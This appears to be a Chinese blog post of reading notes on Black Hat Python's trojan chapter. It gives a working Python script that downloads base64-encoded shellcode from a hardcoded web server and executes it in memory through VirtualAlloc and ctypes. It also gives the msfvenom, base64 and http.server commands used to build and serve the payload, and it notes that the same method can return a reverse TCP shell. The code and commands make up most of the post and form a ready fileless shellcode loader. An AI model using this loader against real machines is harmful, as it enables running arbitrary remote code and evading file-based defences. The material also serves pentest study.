黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(3)python执行shellcode
文章目录
写在前面
可能会有一天,我们希望能够与我们的目标机器之一交互,或者使用我们最喜欢的渗透测试或漏洞框架中的新的漏洞模块。这通常需要某种形式的外壳代码执行,但并不总是如此。为了在不接触文件系统的情况下执行原始外壳代码,我们需要在内存中创建一个缓冲区来保存外壳代码,并使用ctypes模块创建一个指向该内存的函数指针,然后我们只调用函数。在我们的例子中,我们将使用urllib以base64格式从web服务器获取shell代码,然后执行。
创建shell_exec.py脚本
首先创建并打开shell_exec.py文件,并输入以下代码:
from urllib import request
import base64
import ctypes
kernel32 = ctypes.windll.kernel32
def get_code(url):
with request.urlopen(url) as response:
shellcode = base64.decodebytes(response.read())
return shellcode
def write_memory(buf):
length = len(buf)
kernel32.VirtualAlloc.restype = ctypes.c_void_p
kernel32.RtlMoveMemory.argtypes = (
ctypes.c_void_p,
ctypes.c_void_p,
ctypes.c_size_t)
ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40)
kernel32.RtlMoveMemory(ptr, buf, length)
return ptr
def run(shellcode):
buffer = ctypes.create_string_buffer(shellcode)
ptr = write_memory(buffer)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
shell_func()
if __name__ == '__main__':
url = "http://192.168.65.141:8100/shellcode.bin"
shellcode = get_code(url)
run(shellcode)
这是多么棒的事情啊!我们通过调用get_code函数从web服务器检索base64编码的shell代码来开始我们的主块。然后我们调用run函数将shell代码写入内存并执行它。
在run函数中,我们分配了一个缓冲区,以便在解码后保存外壳代码。接下来,我们调用write_memory函数将缓冲区写入内存。
为了能够写入内存,我们必须分配所需的内存(VirtualAlloc),然后将包含外壳代码的缓冲区移动到所分配的内存(RtlMoveMemory)。为了确保shellcode能够运行,无论我们使用的是32位还是64位Python,我们必须指定我们想要从VirtualAlloc返回的结果是一个指针,并且我们将给RtlMoveMemory函数的参数是两个指针和一个大小对象。我们通过设置VirtualAlloc.restype和RtlMoveMemory.argtypes来做到这一点。如果没有此步骤,从VirtualAlloc返回的内存地址的宽度将与RtlMoveMemory期望的地址宽度不匹配。
在调用VirtualAlloc时,0x40参数指定内存应该具有执行和读/写访问权限;否则,我们将无法编写和执行外壳代码。然后我们将缓冲区移动到分配的内存中,并返回指向缓冲区的指针。回到run函数,ctypes.cast函数允许我们将缓冲区转换为函数指针,这样我们就可以像调用任何普通Python函数一样调用shell代码。我们通过调用函数指针来完成任务,然后函数指针将会导致外壳代码被执行。
小试牛刀
我们也可以手工编写一些shellcode,或者使用自己最喜欢的pentesting框架(如CANVAS或Metasploit)来生成一些shellcode。我们用Metasploit的payload生成器(在我们的例子中是msfvenom)选择了一些Windows x86的shellcode。参照如下的方式,在我们的linux机器的/tmp/shellcode.raw中创建原始shellcode:
$ msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f raw cmd=calc.exe > shellcode.raw
执行结果去下图所示。
然后base64编码一下。
$ base64 -w 0 -i shellcode.raw > shellcode.bin
然后启动http服务。
$ python -m http.server 8100
到目前为止,我们用msfvenom创建shellcode,然后使用标准Linux命令base64对其进行base64编码。http.server模块将当前工作目录(在本例中为/tmp/)视为其web根目录。对于8100端口上的任何HTTP文件请求都将自动提供服务。现在将shell_exec.py脚本放到windows上并运行,我们应该在Linux终端中看到以下内容:
这表示我们的脚本已从使用http.server模块设置的web服务器检索到shell代码。如果一切顺利,我们将收到一个返回到框架的shell,并将弹出calc.exe,得到一个反向TCP shell,显示一个消息框,或者任何我们的shellcode编译的内容。
说明:这里碰到了一个问题,我在执行shell_exec.py脚本的时候,没有报任何错误,但是也没有弹出计算器,但是我手动执行calc.exe的时候可以弹出计算器。目前来看大概率是因为不熟悉msf的使用,导致到了本地以后命令出问题了,有机会系统地研究一下msf。